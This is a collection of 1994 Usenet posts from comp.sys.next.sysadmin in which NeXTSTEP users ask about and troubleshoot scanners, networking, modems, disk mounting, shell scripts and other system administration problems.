> 3.2. The problem is that it frequently fails to recognize the
> scanner. When the application is started (PowerScan.app, I
> think) it says something like "Can't find scanner."
>
> Any suggestions?
> --
> Daniel Craigmile | Texas A&M University
> danielc@tamu.edu | Computing and Information Services
> 847-UNIX | Customer Help and Training
- Check termination
- Check termination
- Check termination
- Since Mach tries to talk to every SCSI device during startup, this might
srew up the scanner. Turn the scanner off and on after booting the system.
Gerd
Newsgroups: comp.sys.next.sysadmin
From: mark@xexos.com (Mark Chamberlain)
Subject: Re: NS/I and NetBoot clients ?
Message-ID: <CnyFA2.MB0@xexos.com>
Sender: usenet@xexos.com
Organization: Xexos Ltd (London)
References: <2o43re$jkg@news.cs.tu-berlin.de>
Date: Fri, 8 Apr 1994 18:56:25 GMT
In article <2o43re$jkg@news.cs.tu-berlin.de> kay@cs.tu-berlin.de (Kay
Neuenhofen) writes:
> The docs always talk about NeXT computers when mentioning NetBoot clients, so
> maybe it's not possible to do this with Intel based hosts.
> By the way, the NetBoot server is also Intel based.
>
NetBoot isn't supported under Intel right now. Now that DriverKit supports the
building of "boot" devices, someone enterprising could write an ethernet boot
driver, but as it stands to my knowledge, one doesn't exist. Sorry.
--
Mark Chamberlain +44 71 237 4535
Xexos Ltd fax +44 71 231 0844
London mark@xexos.com
Newsgroups: comp.sys.next.sysadmin
From: paul@seer.demon.co.uk (Paul Lynch)
Subject: Re: A4 default in Preview app?
Message-ID: <1994Apr8.191635.6472@seer.demon.co.uk>
Sender: news@seer.demon.co.uk
Organization: P & L Systems
References: <1994Apr7.233417.14766@rdbois.uucp>
Date: Fri, 8 Apr 1994 19:16:35 GMT
In article <1994Apr7.233417.14766@rdbois.uucp> sr@rdbois.fdn.org
(serge_ruby) writes:
> > >>
> > >> dwrite GLOBAL NXPaperType A4
> > >
> > > Does any of you know were to find the list of the relevant GLOBAL
dwrite ?
> > > I could not find it in the librarian.
I just saw a list of general dwrites in the on-line Developer
documentation; try:
GeneralRef/ApB_Defaults/Defaults.rtf
Paul
--
Paul Lynch
P & L Systems (NeXTmail) paul@seer.demon.co.uk
Tel: (0494)671501 9 Stable Lane, Seer Green,
Fax: (0494)680228 Bucks, HP9 2YT, UK
From: marsella@athos.rutgers.edu (Stacy Marsella)
Newsgroups: comp.sys.next.sysadmin
Subject: Webster's redundant dictionaries?
Message-ID: <Apr.8.16.03.19.1994.22209@athos.rutgers.edu>
Date: 8 Apr 94 20:03:21 GMT
Organization: Rutgers Univ., New Brunswick, N.J.
A simple question...
Is Webster's CompactDictionary redundant (and therefore deleteable)
if Dictionary is installed? As I recall, Dictionary was installed
when the literature package was installed (along with Webster's
pictures).
Thanks
Stacy
marsella@cs.rutgers.edu
From: samurai@wsc.com (Darcy Brockbank)
Newsgroups: comp.sys.next.bugs,comp.sys.next.sysadmin
Subject: Serious TCP bug?!?!?
Date: 8 Apr 1994 17:47:16 GMT
Organization: WSC Investment Services, Inc.
Disclaimer: The views represented within this posting are not necessarily those
held by WSC Investment Services, Inc.
Message-ID: <2o45b4$52i@cerberus.wsc.com>
I've documented the following two situations. They've occurred
under similar circumstances, in two different installations:
1) ####
A) NS-3.2 running on a 66MHz PC, with an Intel EtherExpress 16bit
ISA card. This machine is running as a firewall, and runs
INN as well as SOCKD (socks).
B) NS-3.2 running on a 66MHz PC, on an internal net (can reach
A via a router). B has an EtherExpress as well.
Occasionaly when there are high rates of communication between
A and B the following occurs:
+ Communications between A and B hang
+ A does not respond to rlogin/telnet from B
+ A does not return 'ping' requests from B
+ A allows login at console
+ B is to A as A is to B :-).
+ Ethernet card on B is not active.
+ After about 5 to 10 minutes, connections between A and B can
be made again, without any interferance from a sysadmin.
2) ####
A) NS-3.2 running on a 25MHz Motorola NeXT. This machine is running
SLIP, and netinfo (network server). Nothing else.
B) NS-3.2 runnong on a 66MHz PC, with an Intel EtherExpress. Occasionaly
when there are high rates of communication between A and B the
following occurs:
+ Communications between A and B hang
+ A does not respond to rlogin/telnet from B
+ A **DOES** return 'ping' requests from B
+ A allows login at console
+ B is to A as A is to B :-).
+ Ethernet card on B is not active.
+ THIS NEVER OCCURS UNLESS THE PC TRIES TO TALK TO THE NeXT.
+ After about 5 to 10 minutes, connections between A and B can
be made again, without any interferance from a sysadmin.
It would seem to me (and it's very possible that I'm wrong) that
this is a TCP problem. The problem would seem to be introduced
by the presence of the EtherExpress. However, it seems that
the problem shows up in the host opposite to the EtherExpress
since it happens with Motorola as well. This doesn't seem
very scientific... it's as far as I can figure it out though.
Questions:
1) Is anyone else seeing this?
2) Am I incorrect in thinking that this could be a TCP problem?
Of course, I have to ask this on the net, since bug_next@next.com
never elicits a response, and I don't have the money available
to pay for an answer from NeXT...
If this is a bug, then it's very serious... you can't have
net connections hanging all the time.
- darcy
Newsgroups: comp.sys.next.sysadmin
From: david@charlie (David Vazquez)
Subject: Re: terminal help needed
Message-ID: <1994Apr8.210511.27125@cs.uno.edu>
Sender: news@cs.uno.edu
Organization: University of New Orleans
References: <2nnnbg$6cj@news.iastate.edu>
Date: Fri, 8 Apr 1994 21:05:11 GMT
sela@iastate.edu wrote:
: How can I make my csh pull up the last entered command with the up arrow
: key?
: --
: *******************IOWA***STATE***UNIVERSITY********************
: * Brian Morrison sela@iastate.edu (NeXT Mail welcome!) *
: * --------------------------------------------------------- *
: * He who throws mud loses ground. *
: ****************************************************************
Use bash. It's a Borne shell, but it allows cursoring through your command
history as well as command line editing.
-David Vazquez. "david@smobject.com"
Newsgroups: comp.sys.next.sysadmin
From: david@charlie (David Vazquez)
Subject: Dialin modem woes.
Message-ID: <1994Apr8.212333.4407@cs.uno.edu>
Sender: news@cs.uno.edu
Organization: University of New Orleans
Date: Fri, 8 Apr 1994 21:23:33 GMT
I'm running NeXTStep 3.2 Intel on a 486DX2 connected to a SupraFax v.32bis
modem. I configured ttydfb for dial in as per the instructions in the SysAdmin
manual, but it doesn't work. When I call, the modems connect and I am sent
an uninterruptable stream of garbage. I have managed a couple of successful
logins, but I'm greeted by the garbage as soon as a logout.
I've also used the modem for faxes, and that worked fine. Dial outs are flaw-
less too. What could be the problem here?
-David Vazquez "david@smobject.com"
From: work@dannug.dk (Michael Hallin)
Newsgroups: comp.sys.next.sysadmin
Subject: The -u parametre to the disk command - what does it mean???
Date: 8 Apr 1994 19:16:50 GMT
Organization: Danish NeXT User Group
Distribution: world
Message-ID: <2o4aj3$2ef@machthenext.dannug.dk>
Keywords: disk utility, formatting large drives
Hi,
The disk command has a parametre, -u, which supposedly should tell the
drive it s being used on to use all the sector on the drive, not just the
bios-accessible ones.
Does anymore know exactly what this means??? Does it e.g. mean that by
using that parametre it s possible to format larger partitions than
normally supported by the NeXT?? Or what??
Thanks for any info on this matter...
Best regards
Michael
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From: vqueved@nssnext.calstatela.edu (Victor Quevedo)
Newsgroups: comp.sys.next.sysadmin
Subject: WM uid Upper Limit
Date: 9 Apr 1994 00:36:01 GMT
Organization: Information Resources and Technology
Message-ID: <2o4t9h$cdc@nic-nac.CSU.net>
Keywords: UID uid Upper Limit
What is the upper limit on the uid that can be used with NS (Black/White).
I need to be able to set the uid to over 40,000 to be able to access other
NFS servers. The Unix shell part and the file system seam to be working,
but the WorkSpace Manager does not display the home (cottage) as a home
but a folder. Is this a limit of the workable uid that WM uses? Does any
one know a work around. Permissions appear to be working correctly.
Any help will be helpful
--
Victor R. Quevedo
vqueved@nssnext.calstateale.edu
NeXTMail Welcome
Newsgroups: comp.sys.next.sysadmin
From: fleminmk@fe808.cc.purdue.edu (Mike Fleming)
Subject: Re: How to mount Linux filesystem ?
Sender: news@mozo.cc.purdue.edu (USENET News)
Message-ID: <fleminmk.765851824@fe808.cc.purdue.edu>
Date: Sat, 9 Apr 1994 00:37:04 GMT
References: <2nvmeh$2f6@geraldo.cc.utexas.edu>
Organization: Purdue Data Network
paulus@macc.wisc.edu (Paulus Adisoemarta) writes:
>How to mount a Linux filesystem (ext2) to a NS/i system ?
I'm pretty sure that the answer to that is "tough". In fact, I'm pretty
sure the answer is "tough" in both directions--trying to mount the NS/i
partition under Linux isn't possible right now either.
Right now, when I have to move things across, I move it onto the DOS
partition and reboot. This sucks twice, of course: having to deal with the
DOS filesystem AND having to reboot.
Gee, it would be so cool if someone could write something to mount Linux
partitions....
>Thanks
>Paulus
Mike
>--
>Paulus Suryono Adisoemarta, N5SNN / YG1QN
>yono@ccwf.cc.utexas.edu
>yono@gnu.ai.mit.edu
>paulus@nextdown.pe.utexas.edu
From: sherwood@fenris.space.ualberta.ca (Sherwood Botsford)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: NextStep Network Monitoring Tools??
Date: 8 Apr 1994 22:09:18 GMT
Organization: Computer and Network Services, U of Alberta, Edmonton, Canada
Message-ID: <2o4kme$kg9@quartz.ucs.ualberta.ca>
References: <2o19s9$do3@merckx.graphics.cornell.edu>
Patrick Heynen (patrick@yabba.graphics.cornell.edu) wrote:
: Does anyone know of any halfway decent network monitoring tools for NextStep?
: I have been told that there is a PD utility called TCPdump- does anyone know any
: more about this and whether there is a NextStep version??
: Thanx, Patrick
Next on black hardware won't let you put the ethernet into promiscious
mode. Rumour has it (Meaning I can't remember wehre I saw the tidbit)
that Black hardware did bad things. E.g. the system paniced if too many
packets came in.
Someone at next said it would be possible to get tcpdump to compile but
you would have to write a loadable kernel driver for it to support one
of tcpdump's calls. That was in the bad old days of 2.1. Things may
have changed since.
: ============================================================================
: Patrick Heynen patrick@graphics.cornell.edu
: Program of Computer Graphics
: Cornell University
--
=> Sherwood Botsford sherwood@space.ualberta.ca <=
=> University of Alberta Lab Manager, Space Physics Group <=
=> tel:403 492-3713 fax: 403 492-4256 <=
From: fulei@engin.umich.edu (Fu Lei )
Newsgroups: comp.sys.next.sysadmin
Subject: Re: SUMMARY: 1 gig external SCSI drive for Nextstation
Date: 9 Apr 1994 00:19:42 GMT
Organization: University of Michigan Engineering, Ann Arbor
Distribution: world
Message-ID: <2o4sauINNch7@srvr1.engin.umich.edu>
References: <9404012122.AA00216@guitar.ho.att.com> <2nph2g$573@fermat.mayo.edu>
Just like to mention that I had good experiences with Larry at
Peripheral system too. Am presently trying to get enough
money together to get another ext. 1G disk from him.
fulei@engin.umich.edu
Newsgroups: comp.sys.next.sysadmin
From: cedman@princeton.edu (Carl Edman)
Subject: Re: Help: How to get 4600 Internet-tiffs in the NewsGrazer and mail.app
In-Reply-To: koen1830@w250zrz.zrz.tu-berlin.de's message of 8 Apr 1994 16:56:49 GMT
To: koen1830@w250zrz.zrz.tu-berlin.de (Andreas Koenig)
Message-ID: <CEDMAN.94Apr8155418@capitalist.princeton.edu>
Originator: news@nimaster
Sender: news@Princeton.EDU (USENET News System)
Organization: Princeton University
References: <1994Apr8.110356.594@rafa.in-berlin.de> <2o42ch$9s9@brachio.zrz.TU-Berlin.DE>
Date: Fri, 8 Apr 1994 19:54:18 GMT
In article <2o42ch$9s9@brachio.zrz.TU-Berlin.DE> koen1830@w250zrz.zrz.tu-berlin.de (Andreas Koenig) writes:
In article <1994Apr8.110356.594@rafa.in-berlin.de>,
Ralf Neumann <ralf@rafa.in-berlin.de> wrote:
>I have about 4600 pictures from the Internet for
>/LocalLibrary/Images/Pictures.
>I want to see these pictures inside the NewsGrazer and the mail.app.
The scripts you are talking about below are a shame, really. I know,
you didn't write them, but they are doing a lot of harm in and around
Berlin. Grm.
As I believe that I wrote the original version of this script a few
years ago with all due respect I ask you to retract that statement.
>With a small amount of pictures (I tried about 200 ) I have no problems at all
>to install them with the folowing shell comands:
># cd /LocalLibrary/Images/People
This first line is O.K. No harm.
Thank you.
># nidump aliases / >aliases
May have some sense, may cause big frustration, if you ever begin to edit this
file (aliases) for your convenience. You should probably issue this line ONCE,
and never again.
># nidump passwd / >passwd
No sense. Who you have no picture of, you won't ever see one in the
NewsGrazer.
Well, those two lines were added by someone else, so I won't bother to
defend them.
># ./makemailpic
>
>always the shell tells me:
>
>/makemailpic: /bin/ls: arg list too long
>../makemailpic: /bin/ls: arg list too long
>
>The contens of the makemailpic is
>#!/bin/sh
>echo "# aliases file for Internet Format" >>aliases
>/bin/ls -1 *.tiff | sed 's/.tiff$//; h; s/\./@/; G; s/\n/:c /'>>aliases'
That is of course the root of the problem. Whoever modified the
script added a '*.tiff' and removed the grep statement causing all the
problems to the original poster.
>echo "# passwd file" >>passwd
Through that away, it's nonsense.
Maybe so, but considering the users of the file, hardly harmful nonsense.
>/bin/ls -1 *.tiff | sed 's/.tiff$/::10000::.:noshell/;' >>passwd
Change this one to
/bin/ls -1 | grep '\.tiff$' | sed -e 's/\.tiff$/:/' > passwd
Apart grep vs. pattern match difference for which I disclaim all
responsibility the only difference between these two lines is that the
above one will actually generate a generally acceptable passwd file
and the lower one will not.
and you're done. Yes, that is a `>' before passwd, not a `>>'. >=:->>=<
Not in the place where this script originally appeared i.e. run after
mailDBupdate in /usr/adm/daily. mailDBupdate already creates new
/L/I/P/passwd and /L/I/P/aliases files from scratch (overwriting old
ones). To prevent mkpassalia from overwriting the files again, you
have to open them in append mode.
Carl Edman
From: eps@futon.SFSU.EDU (Eric P. Scott)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: terminal problems
Date: 9 Apr 1994 04:14:48 GMT
Organization: San Francisco State University
Message-ID: <2o5a3o$e2v@news.csus.edu>
References: <2o4suv$1h7@pith.uoregon.edu>
In article <2o4suv$1h7@pith.uoregon.edu>
smcgrew@theocean.uoregon.edu (Steven McGrew) writes:
> I have several macintosh computers using my NeXT from NCSA/BYU
>telnet 2.5
Try 2.6 [anonymous FTP from ftp.ncsa.uiuc.edu: directory
Mac/Telnet/Telnet2.6/]?
-=EPS=-
From: sela@iastate.edu
Newsgroups: comp.sys.next.sysadmin
Subject: SUMMARY: terminal help needed
Date: 9 Apr 1994 04:10:43 GMT
Organization: Iowa State University, Ames, Iowa
Distribution: world
Message-ID: <2o59s3$719@news.iastate.edu>
References: <2nnnbg$6cj@news.iastate.edu>
In article <2nnnbg$6cj@news.iastate.edu> sela@iastate.edu writes:
>
> How can I make my csh pull up the last entered command with the up arrow
> key?
The best answer I got was to get tcsh from one of the archives. Thanks to
all who replied.
--
*******************IOWA***STATE***UNIVERSITY********************
* Brian Morrison sela@iastate.edu (NeXT Mail welcome!) *
* --------------------------------------------------------- *
* He who throws mud loses ground. *
****************************************************************
From: tilley@cc.umanitoba.ca ()
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Mounting partitio at boot time
Date: 9 Apr 1994 10:00:40 GMT
Organization: The University of Manitoba
Message-ID: <2o5uc8$n39@canopus.cc.umanitoba.ca>
References: <1994Apr6.194310.6466@alw.nih.gov>
In <1994Apr6.194310.6466@alw.nih.gov> Brent Sessions <sessions@nih.gov> writes:
>Along with this question I am wondering how NetInfo and /etc/fstab relate
>to each other in terms
>of mounting devices. Specifically, which one really does it?
Last time I fooled around with this on a 3.2 cube, /etc/fstab only worked
at boot time and netinfo fstab only worked at normal times.
I had to duplicate things in both places to allow use at all times.
This seems bizarre so perhaps there is another explanation.
Things do work very well with those assumptions in any case,
especially if the netinfo fstab is in a higher netinfo domain.
--
.. Richard <tilley@cc.umanitoba.ca> NextMail OK.
From: smcgrew@theocean.uoregon.edu (Steven McGrew)
Newsgroups: comp.sys.next.sysadmin
Subject: terminal problems
Date: 9 Apr 1994 00:30:23 GMT
Organization: University of Oregon
Distribution: world
Message-ID: <2o4suv$1h7@pith.uoregon.edu>
Hello all,
I hope that someone can shed some light on a problem that I have been
having. I have several macintosh computers using my NeXT from NCSA/BYU
telnet 2.5 and it would appear that the return key and the enter key are
mapped differently. When running Pine or emacs the enter key works as it
should however the return key yields strange results. I have tried all of
the setenv TERM possibilities. HELP I NEED HELP! :) -- really if anyone
has any suggestions please let me know because I am really stumped....
Thanks for any suggestions.
Steve
smcgrew@theocean.uoregon.edu
Newsgroups: comp.sys.next.sysadmin
From: mgb@moksha.uucp (Michael Branton)
Subject: Re: POP server for Intel??
Message-ID: <Cnxzvy.1Ds@moksha.uucp>
Sender: mgb@moksha.uucp (Michael Branton)
Organization: Totally Disorganized
References: <kci-060494225153@ppp-001.teleport.com>
Date: Fri, 8 Apr 1994 13:23:58 GMT
In article <kci-060494225153@ppp-001.teleport.com> kci@teleport.com (Steve
Kornreich) writes:
> Is there a POP server available for NS_FIP??
>
> --
> Kornreich Communications
> Steven Kornreich
> kci@teleport.com
We run one. Got it from ftp.qualcom.com ( I think that's right. Somebody
correct me if I got that wrong. The site name was in an =EPS= posting a while
back.) There are several version there, three of which contain qualcomm
modifications; I used the latest.) Compiled it, installed it and ran it. No
problems so far.
--
-Michael
mgb@thoth.stetson.edu
--
-Michael
Newsgroups: comp.sys.next.sysadmin
From: ralf@rafa.in-berlin.de (Ralf Neumann)
Subject: Alternativ NeXT Color Printer drivers?
Message-ID: <1994Apr9.124305.614@rafa.in-berlin.de>
Sender: ralf@rafa.in-berlin.de
Organization: DRN
Date: Sat, 9 Apr 1994 12:43:05 GMT
Hi,
I heard there are two other drivers for the NeXT Color Printer out there.
The one is from HSD the other from the man who wrote Dots (Frederico Heinz).
Does anybody knows where to get them and how much they are?
Any further informations like email adresses, expiriences with NeXT Color
Printer drivers and also the quality relation between drivers and Applications
like Virtuoso, Tiffany... are very intersting too.
If you know anything about this stuff send me an email.
Thanks a lot in advance
Ralf
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*| Ralf Neumann | ralf@rafa.in-berlin.de | Try NeXTmail please! |*
*| ************ | Voice +49 30 / 321 78 84 | Fax +49 30 / 321 28 68|*
Newsgroups: comp.sys.next.sysadmin
From: ralf@rafa.in-berlin.de (Ralf Neumann)
Subject: Re: Swapfile on mounted disk problem
Message-ID: <1994Apr9.125247.681@rafa.in-berlin.de>
Sender: ralf@rafa.in-berlin.de
Organization: DRN
References: <2nkljv$aom@mailer.fsu.edu>
Date: Sat, 9 Apr 1994 12:52:47 GMT
In article <2nkljv$aom@mailer.fsu.edu> dekorte@scri.fsu.edu (Steve Dekorte)
writes:
>
> Under NS2.0 I could just change the swaptab file and do a
> 'mach_swapon' command to move the swapfile to a mounted disk.
> Under 3.0 I can do the same, but when I reboot and login,
> the Window Server tries to come up, but can't and it goes back
> to the login.
>
> Anyone know how to fix this?
>
> Thanks for any help,
> Steve Dekorte
Give your extra disk the name swapdisk and you will have it automatically
mounted as swapdisk in /private with the swapfile on it.
You don't have to mount it additionaly in /etc/fstab
Ralf
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
*| Ralf Neumann | ralf@rafa.in-berlin.de | Try NeXTmail please! |*
*| ************ | Voice +49 30 / 321 78 84 | Fax +49 30 / 321 28 68|*
From: statman@stat.ufl.edu (Charles D. Kincaid)
Newsgroups: comp.sys.next.sysadmin
Subject: [Q]: adm files with bad number - harmful?
Date: 9 Apr 1994 15:00:08 GMT
Organization: University of Florida
Distribution: world
Message-ID: <2o6ftoINN2a8@no-names.nerdc.ufl.edu>
Hello,
I recently upgraded from NS3.1 to NS3.2. Ever since I get the
following messages in my console...
>opening /usr/adm/lastlog: Bad file number
>opening /etc/utmp: Bad file number
>opening /usr/adm/wtmp: Bad file number
Sometimes I might even get this a number of times. Why am I getting this?
Has anyone else gotten this? Is it a terrible thing? Since I'm the only
user I don't really worry about accounting, but I suppose I'd like to keep
these around for security reasons. These are the "ls -lgi"'s of these
files
33303 -rw-r--r-- 1 root wheel 28 Apr 7 18:33 lastlog
33312 -rw-r--r-- 1 root staff 216 Apr 9 10:44 wtmp
35062 -rw-r--r-- 1 root wheel 468 Apr 9 10:44 /etc/utmp
Does this provide any info? The files seem to contain correct
information. Well, as correct as I can determine.
I would appreciate any feedback or help on this. Thank you very
much.
--
Sincerely,
charles d. kincaid
--------------------------------------------------------------------
Dept. of Statistics 'Damn fine coffee...and hot, too!'
Univ. of Florida Pres: G-ville NeXT Users Group
From: RRobertson@Athletics.TAMU.EDU
Newsgroups: comp.sys.next.sysadmin
Subject: {Q} How do I change NI from a shell?
Date: Sat, 9 Apr 1994 15:31:17
Organization: Texas A&M University, College Station, TX
Distribution: world
Message-ID: <RRobertson.41.000F85F9@Athletics.TAMU.EDU>
{Please respond to traff@athletics.tamu.edu or root@necromancer.tamu.edu}
I made a big, ugly mistake. I personally can not stand csh so I went out, got
bash and compiled it for my '040. Anyway. I ran bash and everything worked
fine. Then I setup up my account (root, unfortunately) to use bash as a
default shell. When I try to login it tells me that bash is not a shell and
that it will send all output into a file and then it just goes back to the
login box.
So I can't do crap with my machine.
Is there anyway I can change the default shell (I can get in by bsd()-s) from
a prompt or am I SOL?
Thanks,
Traff
From: dlr@underdog (Donald L. Ritchey)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Mounting partitio at boot time
Date: 9 Apr 1994 16:33:05 GMT
Organization: Abbott Laboratories
Message-ID: <2o6lc1$fv6@kelso.abbott.com>
References: <2o5uc8$n39@canopus.cc.umanitoba.ca>
Keywords: netinfo fstab
In article <2o5uc8$n39@canopus.cc.umanitoba.ca> tilley@cc.umanitoba.ca ()
writes:
> In <1994Apr6.194310.6466@alw.nih.gov> Brent Sessions <sessions@nih.gov>
writes:
>
> >Along with this question I am wondering how NetInfo and /etc/fstab relate
> >to each other in terms
> >of mounting devices. Specifically, which one really does it?
>
> Last time I fooled around with this on a 3.2 cube, /etc/fstab only worked
> at boot time and netinfo fstab only worked at normal times.
> I had to duplicate things in both places to allow use at all times.
>
> This seems bizarre so perhaps there is another explanation.
>
> Things do work very well with those assumptions in any case,
> especially if the netinfo fstab is in a higher netinfo domain.
In the network here, we run a 3-level doamin:
tag:master -> (everybody inherits from this one)
- tag:network -> project and group domains below
- - tag:local ->individual machines below that.
We put all the absolutely common stuff in the master domain, this includes mail
spool files from our mail server (a Sun 4/630 on SunOS 4.1.3) and all exported
/Net mounts for generally shareable machine home and data file systems. A
convention is that user's home directories on each machine go into the
directory /home, and all /home directories are exported.
We put the stuff each group wants to share among themselves, but not with
outsiders in the mid-level "network" domains. This includes customized
versions of /usr/local from the file server for shared tools. (For example,
the Development group doesn't need all the VandV tools from the V&V Group, and
vice-versa).
Each work station owner has the option (thankfully most DON'T) of customizing
their local domains to do further custom mounts for special purposes.
Finally, any local additional hard drives, opticals, etc. get put into the
/etc/fstab on each machine. If the disk is to be really useable (consistent
ownership, suid-programs work, etc.) then the disk must be mounted before the
NeXTSTEP Workspace automounter gets its claws on it. So this is what my
/etc/fstab looks like (I mount two 1GB Quantum 1050N drives to do load building
for our project, as well as hold a lot of Sysadmin junk).
/dev/sd0a / 4.3 rw,noquota,noauto 0 1
/dev/sd1a /PreviousBuild 4.3 rw,noquota 0 2
/dev/sd2a /MaestroProject 4.3 rw,noquota 0 3
It may not be your cup of tea, but it works for us.
Questions?
--
Donald L. Ritchey | :-) Certified Lunatic and
CDR Computer Services, Inc. | Unix System Administrator :-)
dlr@woodstock.abbott.com | You knew the job was dangerous
| when you took it . . . - SuperChicken
From: kris@zapotec.math.byu.edu (Kristopher Jon Magnusson)
Newsgroups: comp.sys.next.sysadmin
Subject: PNI on black/white hardware just stops working....
Date: 10 Apr 1994 03:42:55 GMT
Organization: Brigham Young University
Message-ID: <2o7sjv$bd9@hamblin.math.byu.edu>
See header for overview of problem.
What PNI does is this:
It works great for a couple weeks of heavy use, then refuses to dial out, etc.,
etc., .etc.
Here are the error messages it generates:
Apr 9 20:58:10 heisenberg pnid[253]: TransSys PNI 1.7 ($Id: pnid.m,v 1.20 1994/02/04 06:48:45 louie Exp $)
Apr 9 20:58:10 heisenberg pnid[253]: Copyright (c) TransSys, Inc. All rights reserved.
Apr 9 20:58:10 heisenberg pnid[253]: license key: serial number 0 version 0 keyversion 0
Apr 9 20:58:10 heisenberg pnid[253]: license key: valid for any host
Apr 9 20:58:10 heisenberg pnid[253]: license key: expires at Sun May 8 08:06:40 1994
Apr 9 20:58:10 heisenberg pnid[253]: license key: licensed to Demo User
Apr 9 20:58:10 heisenberg pnid[253]: Loading package initialization file in /etc/pni/pnid.tcl
Apr 9 20:58:10 heisenberg pnid[253]: pnid: Operation mode is CLIENT
Apr 9 20:58:10 heisenberg pnid[253]: === TCL Error: Package initialization load fails:
Apr 9 20:58:10 heisenberg pnid[253]: > can't read "configFile": no such variable
Apr 9 20:58:10 heisenberg pnid[253]: === errorCode
Apr 9 20:58:10 heisenberg pnid[253]: > NONE
Apr 9 20:58:10 heisenberg pnid[253]: === errorInfo
Apr 9 20:58:10 heisenberg pnid[253]: > can't read "configFile": no such variable
Apr 9 20:58:10 heisenberg pnid[253]: > while executing
Apr 9 20:58:10 heisenberg pnid[253]: > "info exists $configFile..."
Apr 9 20:58:10 heisenberg pnid[253]: > ("if" test line 1)
Apr 9 20:58:10 heisenberg pnid[253]: > invoked from within
Apr 9 20:58:10 heisenberg pnid[253]: > "if {[info exists $configFile]==0} {
Apr 9 20:58:10 heisenberg pnid[253]: > if {[info exists testMode] && [file exists "config.test"]} {
Apr 9 20:58:10 heisenberg pnid[253]: > ^Iset $configFile "config.test"
Apr 9 20:58:10 heisenberg pnid[253]: > } else {
Apr 9 20:58:10 heisenberg pnid[253]: > ^Iset ..."
Apr 9 20:58:10 heisenberg pnid[253]: > (file "/etc/pni/pnid.tcl" line 30)
Apr 9 20:58:10 heisenberg pnid[253]: === [end error dump]
---- END ERROR DUMP ----
I have checked out the file "/etc/pni/pnid.tcl" line 30 for odd changes--and
of course found nothing. Then I remove the software and reinstall it, and
voila! experience the same error. I have even commented out the offending lines
and I get an error involving the next tcl variable in the next if statement.
Anyway, if anyone can lend a hand, I'd be a greatful d00d....
............................kris
From: nturner@ccwf.cc.utexas.edu (Nelson Turner)
Newsgroups: comp.sys.next.hardware,comp.sys.next.sysadmin
Subject: HELP! ROM Monitor SNAFU
Date: 10 Apr 1994 05:03:56 GMT
Organization: The University of Texas at Austin, Austin, Texas
Message-ID: <2o81bs$obd@geraldo.cc.utexas.edu>
I'm an idiot. Being stricken with a dangerous curiosity, I was poking
around in the ROM monitor on my mono Station, and I'm afraid I screwed
something up. I may have accidently set the system register intrmask to
some bogus value, but I'm not sure, since I have no idea what the correct
value is. Anyway, the symptom is that I get a reboot failure message every
time I reboot the computer, saying that the file /dev/rsd0a has a "bad
file type." I ran fsck which confirmed the problem and claimed to fix it,
but it happened again on the next reboot. The problem is not fatal - the
computer gets itself into single user mode and then I can manually get it
into multi-user mode, but every now and then I get a message like "I/O
Error" when trying to do something like eject a disk.
If no one has any better ideas, could someone at least run the ROM monitor
on their own Station and let me know what hex word appears when you type
"s intrmask". Maybe that's all I need. Thanks a million.
Trey Turner
nturner@ccwf.cc.utexas.edu
Newsgroups: comp.sys.next.sysadmin
From: ralf@rafa.in-berlin.de (Ralf Neumann)
Subject: WAS: How to get 4600 Internet-tiffs.......
Message-ID: <1994Apr10.080956.2764@rafa.in-berlin.de>
Sender: ralf@rafa.in-berlin.de
Organization: DRN
Date: Sun, 10 Apr 1994 08:09:56 GMT
Hi,
thanks a lot for all the answers.
Pictures working perfect:-)
Ralf
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Newsgroups: comp.sys.next.sysadmin
From: dlw@netcom.com (David L. Williams)
Subject: NEC CDR-25BJ & Black HW?
Message-ID: <dlwCo23u7.JqA@netcom.com>
Organization: NETCOM On-line Communication Services (408 241-9760 guest)
Date: Sun, 10 Apr 1994 18:39:43 GMT
Has anyone gotten a NEC CDR-25BJ to work on a NeXTStation running 3.x?
I'm running 3.0 and with the drive as ID 4 The workspace does not seem to recognize that the drive is there. Seeks seem to happen, but no drive Icon appears.
Is it that the drive is SCSI I not SCSI II, or am I just doing something wrong?
I power on the cdrom first, then the nextstation.
The cdrom works just fine on my macintosh.
THanks,
David Williams
From: christov@nazgul.st.hmc.edu (Christopher R. Douty)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: NextStep Network Monitoring Tools??
Date: 11 Apr 1994 03:19:33 GMT
Organization: Harvey Mudd College, Claremont CA
Message-ID: <2oafk5$68v@jaws.cs.hmc.edu>
References: <2o4kme$kg9@quartz.ucs.ualberta.ca>
Keywords: LKS kernel packet sniffer tcpdump NSA boo
In article <2o4kme$kg9@quartz.ucs.ualberta.ca>
sherwood@fenris.space.ualberta.ca (Sherwood Botsford) writes:
> Patrick Heynen (patrick@yabba.graphics.cornell.edu) wrote:
> : Does anyone know of any halfway decent network monitoring tools for
NextStep?
>
> : I have been told that there is a PD utility called TCPdump- does anyone
know any
> : more about this and whether there is a NextStep version??
> Someone at next said it would be possible to get tcpdump to compile but
> you would have to write a loadable kernel driver for it to support one
> of tcpdump's calls. That was in the bad old days of 2.1. Things may
> have changed since.
You still need a loadable kernel server to do any sort of packet sniffing. In
fact that is one of the example uses which NeXT mentions in their LKS
documentation.
It doesn't look like a pleasant task, but I need a network monitor tool for a
current project. Therefore I may attempt to write something sufficient to port
tcpdump. If anything comes of it, I'll make the work availble. If anyone has
some suggetions, I'll be happy to entertain them and summarize as appropriate.
Chris
--
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Christopher_Douty@hmc.edu | NeXTmail OK | is more threat to liberty,
----------------------------------------------+ the weak, severely limited
government of 1789, or the mega-state of today that takes 40 to 50 percent
of our income, has minions as numerous as the stars in the heavens and
From: sanguish@digifix.com
Newsgroups: comp.sys.next.announce,comp.sys.next.misc,comp.sys.next.sysadmin,comp.sys.next.advocacy,comp.sys.next.hardware,comp.sys.next.software,comp.sys.next.bugs,comp.sys.next.programmer,comp.sys.next.marketplace
Subject: Quick Guide to NEXTSTEP information on the Internet
Date: 11 Apr 1994 02:24:34 -0400
Organization: Next Announcements
Message-ID: <2oaqf2$f6e@digifix.digifix.com>
This post is made weekly, to help 'point' users to more NEXTSTEP information
Topics include:
NEXTSTEP WWW Third Party Product Information Server
NEXTSTEP Third Party Product Mail Server
comp.sys.next newsgroups
related newsgroups
comp.sys.next newsgroups mailing list
ftp sites
